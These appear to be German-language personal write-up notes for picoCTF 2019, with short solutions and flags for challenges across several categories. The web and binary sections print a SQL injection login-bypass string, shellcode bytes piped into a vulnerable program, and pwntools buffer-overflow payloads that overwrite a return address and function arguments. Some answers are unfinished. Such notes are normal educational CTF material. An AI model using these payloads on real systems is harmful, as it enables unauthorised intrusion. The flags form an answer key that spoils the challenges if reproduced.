picoCTF 2019

Aufschrieb

Contents

General Skills **3**

Warm Up . . . 3
Warmed Up . . . 3
2Warm . . . 3
Bases . . . 3
First Grep . . . 3
Resources . . . 3
strings it . . . 4
what's net cat? . . . 4
Based . . . 4
First Grep: Part II . . . 4
plumbing . . . 4
whats-the-differenc . . . 4
whats-the-difference . . . 5
mus1c . . . 5
1_wanna_b3_a_r0ck5ar . . . 5
flag-shop . . . 5

Forensics **6**

Glory of the garden . . . 6
unzip . . . 6
extensions . . . 6
Shark on wire 1 . . . 6
Whitepages . . . 6
m00nwalk . . . 7
m00nwalk2 . . . 7
like1000 . . . 8
Investigative_Reversing_0 . . . 8
shark-on-the-wire2 . . . 8

Cryptography **8**

The numbers . . . 8

13 . . . 8
Easy1 . . . 8
caesar . . . 9
Flags . . . 9
Mr-Worldwide . . . 9
Tapping . . . 9
la cifra de . . . 9
rsa-pop-quiz . . . 10
waves over lambda . . . 10

Webexploitation **10**
Insp3ct0r . . . 10
dont-use-client-side . . . 11
logon . . . 11
robots . . . 11
client-side-again . . . 11
Open-to-admins . . . 11
picobrowser . . . 12
Irish-Name-Repo1 . . . 12

Binary Exploitation **12**
handy-shellcode . . . 12
practice-run-1 . . . 12
Overflow0 . . . 13
Overflow1 . . . 13
Overflow2 . . . 14
NewOverflow1 . . . 14

Reverse Engineering **14**
vault-door-training . . . 14
vault-door-1 . . . 14
asm1 . . . 14
vault-door-3 . . . 15
vault-door-4 . . . 15
vault-door-5 . . . 15
vault-door-6 . . . 15
vault-door-7 . . . 15

General Skills

Warm Up

Man übersetzt Hex zu Ascii mit dem befehl xxd. In diesem Fall `echo "0x70" | xxd -r`.

Lösung: picoCTF{p}

Warmed Up

What is 0x3D (base 16) in decimal (base 10).

Die Umrechnung kann man mit Python erreichen. In der Python Shell dann `0x3D` eingeben. Das Ergebnis ist die Lösung.

Lösung: picoCTF{61}

2Warm

Can you convert the number 42 (base 10) to binary (base 2)?

Lösung: picoCTF{101010}

Bases

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.

Ist base64: `echo "bDNhcm5fdGgzX3IwcDM1" | base64 -d`

Lösung: picoCTF{l3arn_th3_r0p35}

First Grep

Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_2_04dbf496b78e6c37c0097cdfef734d88 on the shell server.

Datei enthält nur Müll: `cat file | grep pico`

Lösung: picoCTF{grep_is_good_to_find_things_bf6aec61}

Resources

Auf der Seite ist die Lösung

Lösung: picoCTF{r3source_pag3_f1ag}

strings it

Can you find the flag in file without running it? You can also find the file in /problems/strings-it_2_865eec66d190ef75386fb14e15972126 on the shell server.

```
strings strings | grep pico
```

Lösung: picoCTF{5tRIng5_1T_d5b86184}

what's net cat?

Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 21865 to get the flag?

```
ncat 2019shell1.picoctf.com 21865
```

Lösung: picoCTF{nEtCat_Mast3ry_4fefb685}

Based

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 20836.

Lösung mit Skripten im Ordner Skripte.

Lösung: picoCTF{learning_about_converting_values_6cdcad0d}

First Grep: Part II

Can you find the flag in /problems/first-grep–part-ii_2_1c866f894e7ef69b77a69a224b0c3f60/files on the shell server? Remember to use grep.

```
cat ./*/* | grep pico
```

Lösung: picoCTF{grep_r_to_find_this_ee829ae6}

plumbing

Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 18944.

```
ncat 2019shell1.picoctf.com 18944 >> ncatoutput.txt
```

Lösung: picoCTF{digital_plumb3r_1d5b7de7}

whats-the-differenc

Can you spot the difference? kitters cattos. They are also available at /problems/whats-the-difference_0_00862749a2aeb45993f36cc9cf98a47a on the shell server.

Mit `binwalk -Wiw kitters.jpg cattos.jpg` kann man die Unterscheide anzeigen lassen.

Lösung: picoCTF{th3yr3_a5_d1ff3r3nt_4s_bu773r_4nd_j311y_aslkjfdsalkfslkflkjdsfdszmz10548}

whats-the-difference

I've used a super secret mind trick to hide this file. Maybe something lies in /problems/where-is-the-file_6_8eae99761e71a8a21d3b82ac6cf2a7d0.

Einfach mit `ls -la` alle Dateien anzeigen lassen.

Lösung: picoCTF{w3ll_that_d1dnt_w0RK_a88d16e4}

mus1c

I wrote you a song. Put it in the picoCTF{} flag format

`rockstar` ist eine Programmiersprache. Auf der Seite gibt es auch einen Decoder. Es werden Zahlen ausgegeben, die mit dem `asciinum2ascii.py` Skript in Buchstaben umgewandelt wird.

Lösung: picoCTF{rrrocknrn0113r}

1_wanna_b3_a_r0ck5ar

I wrote you another song. Put the flag in the picoCTF{} flag format.

War wohl nicht so gemeint, aber wenn man bei den Fenstern `cancel` drückt, bekommt man auch die Lösung. (Dazu muss vor und nach den IF statements eine Leerzeile eingefügt werden und das letzte Else auskommentiert werden) #hacktheworld

Reguläre Lösung wäre einfach die Werte ausrechnen und eingeben.

Lösung: picoCTF{BONJOVI}

flag-shop

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 60851.

Die Variable `total_cost` wird als `int` gespeichert. Diese haben normalerweise eine maximale Größe von 4 Bytes. Wenn bei der Anzahl an zu kaufenden Flaggen eine sehr große Zahl eingegeben wird, wird eine Overflow ausgelöst und das Ergebnis ist eine negative Zahl –> wird dann auf das Guthaben drauf gerechnet. Als Faustregel kann herangezogen werden, dass für alle 3 bit eine Zehnerstelle dazu kommmt. Also in diesem Fall ´4*8=32 ==> 10 Zehnerstellen´ somit kann bspw. mit 1000000000 der Overflow ausgelöst werden. (Zahl muss eigentlich noch durch 900 dividiert werden, weil sie ja im Code damit multipliziert wird).

Lösung: picoCTF{m0n3y_bag5_34c9a5f7}

Forensics

Glory of the garden

This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_3_346e50df4a37bcc4aa5f6e5831604e2a on the shell server.

`strings file.jpg`

Lösung: picoCTF{more_than_m33ts_the_3y35a97d3bB}

unzip

Can you unzip this file and get the flag?

Einfach unzippen.

Lösung: picoCTF{unz1pp1ng_1s_3a5y}

##What lies within Theres something in the building. Can you retrieve the flag?

Glaube nicht, dass es so "versteckt" war, aber es hat mit dem stego-toolkit geklappt.
`zsteg -a buildings.png | grep pico`

Lösung: picoCTF{h1d1ng_1n_th3_b1t5}

extensions

This is a really weird text file TXT? Can you find the flag?

`file flag.txt` ist eine PNG Datei. `mv flag.txt flag.png` und anschaun.

Lösung: picoCTF{now_you_know_about_extensions}

Shark on wire 1

We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_13d709ec13952807e477ba1b5404e620.

Einfach immer wiede rden Streams gefolgt und weg gefiltert.

Lösung: picoCTF{StaT31355_636f6e6e}

Whitepages

I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

Man sieht in SublimeText, dass unterschiedliche Zeichen verwendet werden um Leerzeichen zu repräsentieren. In einem Hexeditor zeigt sich das selbe Bild. Auffällig

ist, dass nur zwei Werte eingesetzt werden. `E28083` und `20`. Wird ersteres als 0 und zweiteres als 1 interpretiert, ergibt sich die Lösung.

```
from pwn import *

with open('./whitepages.txt', 'rb') as f:
  data = f.read()

data = data.replace('e28083'.decode('hex'), '0').replace(' ', '1')

print unbits(data)
```

Lösung: picoCTF{not_all_spaces_are_created_equal_f71be4d2457dc2d068e8b1e7a51ed39a}

##c0rrupt We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13.

Hint: Try fixing the file header

http://www.libpng.org/pub/png/spec/1.2/PNG-Rationale.html#R.PNG-file-signature – Hier sieht man, wie der Header sein muss. Den ändert man als erstes. Dann müssen alle chunks repariert werden.

https://toh.necst.it/plaidctf2015/forensics/PNG_Uncorrupt/ Hier wird gut erklärt, wie es funktioniert. https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/forensics/png-uncorrupt Hier auch.

m00nwalk

Decode this message from the moon. You can also find the file in /problems/m00nwalk_2_ddfd37932ded29f58963e8d9c526c2fa.

Handelt sich um SSTV Signal. Mit Qsstv kann das Bild angezeigt werden. Dazu muss ein virtueller Audioausgang angelegt werden `pactl load-module module-null-sink sink_name=virtual-cable`. Dann in `pavucontrol` schauen, ob der Ausgang auch da ist. Dann bei Aufnahme Qsstv auf Null Output stellen. Dann die wav Datei mit `paplay -d virtual-cable message.wav` abspielen (Qsstv muss offen sein) und das Bild anschauen.

Lösung: picoCTF{beep_boop_im_in_space}

m00nwalk2

Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2_0_c513cbf9ae6c76876372b8e29826e77b.

Der erste clue war wieder eine SSTV Datei. Auf dem Bild stand: Password hidden_stegosaurus. Mit `steghide extract -sf message.wav` und dann dem Passwort, konnte die Flag extrahiert werden.

Lösung: picoCTF{the_answer_lies_hidden_in_plain_sight}

like1000

This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.

Ein kleines Bash Skript schreiben, dass alle tars entpackt.

Lösung: picoCTF{l0t5_0f_TAR5}

Investigative_Reversing_0

Lösung: picoCTF{k5zsid6q_e66efclb}

shark-on-the-wire2

We found this packet capture. Recover the flag that was pilfered from the network.
You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.

In Wireshark kann man nach `start` und `end` suchen. Diese markieren den Start und das Ende eienes SSH Streams. Diesen filtert man heraus, indem man sich nur Packete mit dem Zielport 22 anzeigen lässt. Auffällig ist, dass der Sourceport sich immer ändert. Die letzten drei Stellen, sind die Zahldarstellung der Ascii Zeichen. Umwandeln und fertig.

Lösung: picoCTF{p1LLf3r3d_data_v1a_st3g0}

Cryptography

The numbers

The numbers... what do they mean?

Einfach die Zahlen als Stellen im Alphabet nehmen.

Lösung: PICOCTF{THENUMBERSMASON}

13

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}

Mit dem eigenen Skript dekodieren.

Lösung: picoCTF{not_too_bad_of_a_problem}

Easy1

The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.

Mit eigenem Skript.

Lösung: picoCTF{CRYPTOISFUN}

caesar

Decrypt this message. You can find the ciphertext in /problems/caesar_4_33e5994add902b2321c8c38c8b962eff on the shell server.

Mit eigenem Skript.

Lösung: picoCTF{crossingtherubiconljmawiae}

Flags

What do the flags mean?

Sind maritime Flagen, die gegen das Nato Alphabet aufgelöst werden.

Lösung: PICOCTF{F1AG5AND5TUFF}

Mr-Worldwide

A musician left us a message. What's it mean?

Sind Koordinaten. Anfangsbuchstaben der Städte ergeben die Lösung.

Lösung: picoCTF{KODIAK_ALASKA}

Tapping

Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 12285.

Ist Morsecode.

Lösung: PICOCTF{M0RS3C0D31SFUN1137903549}

la cifra de

I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 32203.

Aud decode.fr den Absatz eingeben, in dem die Lösung ist. Dann als bekanntes Wort picoCTF eingeben.

Lösung: picoCTF{b311a50_0r_v1gn3r3_c1ph3r54ddc1b9}

rsa-pop-quiz

Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 53028

Lösungen sind wie folgt:

Frage 1: $N = p \cdot q$ `4636878989`

Frage 2: `93089`

Frage 3: NEIN

Frage 3: $tantient(n) = (q-1)(p-1) \Rightarrow$ Rechner im Netz `836623060`

Frage 4: Einfach verschlüsseln: $c = m^e mod n$ `25693124663178271435724155658244199199343739`

Frage 5: NEIN

Frage 6:

Es gilt: $e \cdot d = 1 mod (p-1)(q-1)$

Also: $d = \frac{1 mod (p-1)(q-1)}{e}$

n = 90109127472777872497387274398404270557365191965388713490934083407066682318088405401953740159161680314

totient(n) = 90109123920950241136

wenn $p^e < N \rightarrow p^e = c$

Lösung:

waves over lambda

We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 49935.

```
----------------------------------------------------------
-------------------------
bvxrpljt qypy mt gvnp ohlr - opyunyxbg_mt_b_vsyp_hlzkal_oammmpnkpl
----------------------------------------------------------
-------------------------
dy dypy xvj znbq zvpy jqlx l unlpjyp vo lx qvnp vnj vo vnp tqmi jmhh dy tld qyp tr
```

Mit quipquip entschlüsselt.

Lösung: frequency_is_c_over_lambda_fdiiirubra

Webexploitation

Insp3ct0r

Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/52962/ (link) or http://2019shell1.picoctf.com:52962

Einfach den Inspect Element!!

Lösung: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?39dd9e36}

dont-use-client-side

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/49886/ (link) or http://2019shell1.picoctf.com:49886

Einfach in den Websitecode schauen. Dort ist eine Funktion, die die Validität des Passworts überprüft.

Lösung: picoCTF{no_clients_plz_ee2f24}

logon

The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/47307/ (link) or http://2019shell1.picoctf.com:47307

Cookie auf der Seite nach dem Anmeldebildschirm auf True stellen.

Lösung:picoCTF{th3_c0nsp1r4cy_l1v3s_95e4b2d5}

robots

Can you find the robots? https://2019shell1.picoctf.com/problem/45102/ (link) or http://2019shell1.picoctf.com:45102

Die Datei in der robots.txt aufrufen.

Lösung: picoCTF{ca1cu1at1ng_Mach1n3s_8e32f}

client-side-again

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/4163/ (link) or http://2019shell1.picoctf.com:4163

Obfuscation ist eninfach die Verschachtelung des Codes, um ihn unlesbar zu machen. Hier gibt es gute Online-Tools (https://web.archive.org/web/20180701092040/https://illuminatejs.com/#/), um den Code lesbar darzustellen. Hier fallen die Substrings am Anfang aus. Durch ein wenig nachdenken kommt man dann auf die richtige Flag.

Lösung: picoCTF{not_this_again_ea9191}

Open-to-admins

This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/12276/ (link) or http://2019shell1.picoctf.com:12276

Einfach zwei Cookies erstellen. Einmal mit name admin und Wert True. Der zweite mit name time und Wert 1400.

Lösung: picoCTF{0p3n_t0_adm1n5_dcb566bb}

picobrowser

This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/37829/ (link) or http://2019shell1.picoctf.com:37829

Wir müssen den User Agent ändern. Funktioniert mit `about:config` in Firefox. Dort erstellt man einen neuen String Eintrag `general.useragent.override` mit dem Wer `picobrowser`. Dann öffnet man die Seite erneut.

Lösung: picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}

Irish-Name-Repo1

There is a website running at https://2019shell1.picoctf.com/problem/4162/ (link) or http://2019shell1.picoctf.com:4162. Do you think you can log us in? Try to see if you can login!

Hört sich nach einer SQL Injection an. Also kurz googeln wie das nochmal geht. Als Nutzername gibt man `admin` ein. Als Passwort dann `' or '1'='1' --`.

Lösung: picoCTF{s0m3_SQL_96ab211c}

Binary Exploitation

handy-shellcode

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_1_ebc60746fee43ae25c405fc75a234ef5 on the shell server. Source.

Auf shell-storm.org nach dem passenden Shellcode suchen. Dann mit `(python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62` `cat) | ./vuln` auf dem Server laufen lassen.

Lösung: picoCTF{h4ndY_d4ndY_sh311c0d3_2cb0ff39}

practice-run-1

You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.

Einfach das Programm ausführen!!

Lösung: picoCTF{g3t_r3adY_2_r3v3r53}

Overflow0

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0 on the shell server. Source.

Nach rumprobieren haben 256 Zeichen gereicht.. Mal schauen woran das lag.

Lösung: picoCTF{3asY_P3a5y1fcf81f9}

Overflow1

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de on the shell server. Source.

https://medium.com/@isharaabeythissa/buffer-overflow-1-picoctf-done-by-ishara-abeythissa-2f85025956f0 « der Anleitung folgen, dann klappt es.

tl.dr: Erst muss man den Buffer herausfinden. Dazu gibt man einfach viele 'A's ein. Wenn als Adresse 0x414141 zurückgegeben wird (was der Hexwert für das A ist), hat man das ziel erreicht. Die genaue länge findet man mit dem Programm heraus:

```
from pwn import *
import os
import subprocess

for i in range(1,512):
    data = cyclic(i)
   p = subprocess.Popen(['./vuln'], stdin=subprocess.PIPE)
    p.communicate(input=data)

    i = i + 1
```

Ist dann der Wert, der am Ende ausgegeben wird. Den entsprechenden ASCII Little Endian Wert findet man mit `num = cyclic_find(p32(0x61616174))`. Jetzt muss man noch das Zielprogramm laden, um die Stelle zu finden, in der die flag() Funktion aufgerufen wird »

```
vuln = ELF('./vuln')
p32(vuln.symbols['flag'])
```

Den ausgegebene Wert fügt man an die oben herausgefundene Anzahl an Buchstaben, die den Buffer Overflow auslösen, an. In diesem Fall war der Buffer 76 Zeichen groß. Also muss die Payload: `76*'A'+p32(vuln.symbols['flag'])` sein. Auf dem eigenen PC wird so auch die Flag ausgegeben. Auf dem Server muss noch pwn importiert werden. Dort gibt mand en Befehl `python -c "from pwn import *; print '76*'A'+'\xe6\x85\x04\x08'" | ./vuln"` aus. Schon bekommt man die Flag.

Lösung: picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}

Overflow2

Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.

Bin der Anleitung hier gefolgt: https://www.invidio.us/watch?v=eJ0FmCfD-1g

tl;dr 100 == buffersize -> 100+8xA -> bis zum segmentatino fault. Dann schaut man mit `dmesg | tail | grep vuln`, ob eine Adresse angegeben ist. Diese muss 414141 anzeigen -> für AAA. Dann ist der richtige Punkt erreicht. Darauf folgen vier beliebige Buchstaben bspw. CCCC. Damit man vom Basepointer in den Speicher kommt. Dann gibt man noch die beiden Argumente `(arg1 != 0xDEADBEEF)` und `(arg2 != 0xC0DED00D)` in Little Endian (mit python+pwn -> p32(0xDEADBEEF)). Dann sollte man die flag bekommen.

Lösung: picoCTF{arg5_and_r3turn5ce5cf61a}

NewOverflow1

Reverse Engineering

vault-door-training

Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java

Ganz unten in der Datei im Klartext.

Lösung: picoCTF{w4rm1ng_Up_w1tH_jAv4_fcb79c48f5b}

vault-door-1

This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java

Naja ist quasi auch im Klartext.

Lösung: picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_51e7fd}

asm1

What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format.

Source located in the directory at /problems/asm1_0_b87970313ffbb5bcf4240e7c7b6c90cf.

Für Kommentare in der test.S Datei schauen.

Lösung: 0x87

vault-door-3

This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java

Programm funktioniert vorwärts wie rückwärts.

Lösung: picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_c08866}

vault-door-4

This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java

Eigenes Programm geschrieben.

Lösung: picoCTF{jU5t_4_bUnCh_0f_bYt3s_b9e92f76ac}

vault-door-5

In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java

Erst base64 dekoden dann url-code dekoden. Gibt auch ein Programm.

Lösung: picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}

vault-door-6

This vault uses an XOR encryption scheme. The source code for this vault is here: VaultDoor6.java

Man hat ja den KEY == `0x55`. Da XOR vorwärts wie rückwärts funktioniert, kann damit die Lösung zurückentschlüsselt werden. Mit Programm xorhexdecode.

Lösung: picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_aedeced}

vault-door-7

This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java

Hier muss man einfach zurückkonvertieren. Erst die ints in binary dann in 8er Packete, die dann in Hex umgewandelt werden und daraus die ascii Buchstaben. Habe ein Programm geschrieben.

Lösung: picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}

##vault-door-8